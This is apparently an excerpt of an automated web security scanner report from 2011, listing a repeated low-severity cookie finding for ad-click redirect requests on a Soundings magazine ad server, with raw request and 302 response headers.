HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:40:32 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.gssdesign.com/cmta_landing11/ Content-Length: 317 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.gssdesign.com/cmta_landing11/">here< ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1486045072/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:42:02 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 390 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1500213411/x03/Dom_Ent/NovaScotia-Sound-TileAd/125x125_novascotia_0111.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:41:47 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.nsboats.com/ Content-Length: 300 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.nsboats.com/">here</a>.</p> <hr> <ad ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1506780268/x01/Dom_Ent/Keenan-Sound-TileAd/125x125_keenan_0111_new.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:42:09 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.keenanauction.com/auction.cgi?&i=2039 Content-Length: 329 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.keenanauction.com/auction.cgi?&i ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/156346633/x02/Dom_Ent/CMTA-Sound-TileAd/cmta_0111.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:42:11 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.gssdesign.com/cmta_landing11/ Content-Length: 317 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.gssdesign.com/cmta_landing11/">here< ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1567263834/x03/Dom_Ent/Keenan-Sound-TileAd/125x125_keenan_0111_new.jpg/7263485738303033424c73414270536c HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:38:16 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.keenanauction.com/auction.cgi?&i=2039 Content-Length: 329 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.keenanauction.com/auction.cgi?&i ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1591422292/x01/Dom_Ent/AtlanticCity-Sound-TileAd/125x125_ac_0111.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:38:49 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.acboatshow.com/ Content-Length: 303 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.acboatshow.com/">here</a>.</p> <hr>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1593051790/Right/Dom_Ent/House-Sound-Rect-300x250/Soundings_subscribead_300x250.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 16:27:06 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://ezsub.net/isapi/foxisapi.dll/main.sv.run?jt=starr_wc&PUBID=586&SOURCE=INET&RDRID=&SBTYPE=QN&PGTP=S Content-Length: 402 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://ezsub.net/isapi/foxisapi.dll/main.sv.run ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1609584897/x04/Dom_Ent/CMTA-Sound-TileAd/cmta_0111.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:59:00 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.gssdesign.com/cmta_landing11/ Content-Length: 317 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.gssdesign.com/cmta_landing11/">here< ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1652734120/x01/Dom_Ent/AtlanticCity-Sound-TileAd/125x125_ac_0111.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 16:39:39 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.acboatshow.com/ Content-Length: 303 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.acboatshow.com/">here</a>.</p> <hr>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1656197317/Middle/Dom_Ent/House-Sound-Bnr-Middle/dispatches_600x100.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 16:01:13 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.soundingsonline.com/subscription-services/subscribe-to-e-newsletter Content-Length: 355 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.soundingsonline.com/subscription-ser ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1685265758/x02/Dom_Ent/Keenan-Sound-TileAd/125x125_keenan_0111_new.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:06:03 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.keenanauction.com/auction.cgi?&i=2039 Content-Length: 329 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.keenanauction.com/auction.cgi?&i ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1686621276/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 16:38:47 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 390 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1697505280/Middle/Dom_Ent/House-Sound-Bnr-Middle/dispatches_600x100.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:03:58 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.soundingsonline.com/subscription-services/subscribe-to-e-newsletter Content-Length: 355 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.soundingsonline.com/subscription-ser ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1698039722/Middle/Dom_Ent/House-Sound-Bnr-Middle/dispatches_600x100.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:39:15 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.soundingsonline.com/subscription-services/subscribe-to-e-newsletter Content-Length: 355 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.soundingsonline.com/subscription-ser ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1706501308/x02/Dom_Ent/Keenan-Sound-TileAd/125x125_keenan_0111_new.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 16:06:30 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.keenanauction.com/auction.cgi?&i=2039 Content-Length: 329 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.keenanauction.com/auction.cgi?&i ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1708168447/Top/Dom_Ent/SoundingsDisplatches-Sound-Bnr-728x90-Defender/dispatches_defender2.jpg/7263485738303033424c73414270536c?x HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:38:10 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.soundingsonline.com/subscription-services/subscribe-to-e-newsletter Content-Length: 355 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.soundingsonline.com/subscription-ser ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1710223704/x03/Dom_Ent/CMTA-Sound-TileAd/cmta_0111.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:06:31 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.gssdesign.com/cmta_landing11/ Content-Length: 317 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.gssdesign.com/cmta_landing11/">here< ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1725875891/x02/Dom_Ent/NovaScotia-Sound-TileAd/125x125_novascotia_0111.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:55:59 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.nsboats.com/ Content-Length: 300 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.nsboats.com/">here</a>.</p> <hr> <ad ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/181770509/Right1/Dom_Ent/House-Sound-Btn/snd_cc_300x100120109.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 16:29:27 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.marinalife.com/soundings Content-Length: 312 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.marinalife.com/soundings">here</a>.< ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1839652180/Right/Dom_Ent/SeaTow-Sound-Rect-300x250/bfs_seatow_300x250.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:05:38 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 390 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1897798837/x02/Dom_Ent/Keenan-Sound-TileAd/125x125_keenan_0111_new.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:12:23 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.keenanauction.com/auction.cgi?&i=2039 Content-Length: 329 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.keenanauction.com/auction.cgi?&i ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/19190715/x04/Dom_Ent/CMTA-Sound-TileAd/cmta_0111.gif/726348573830302b4e47344144525279?x HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
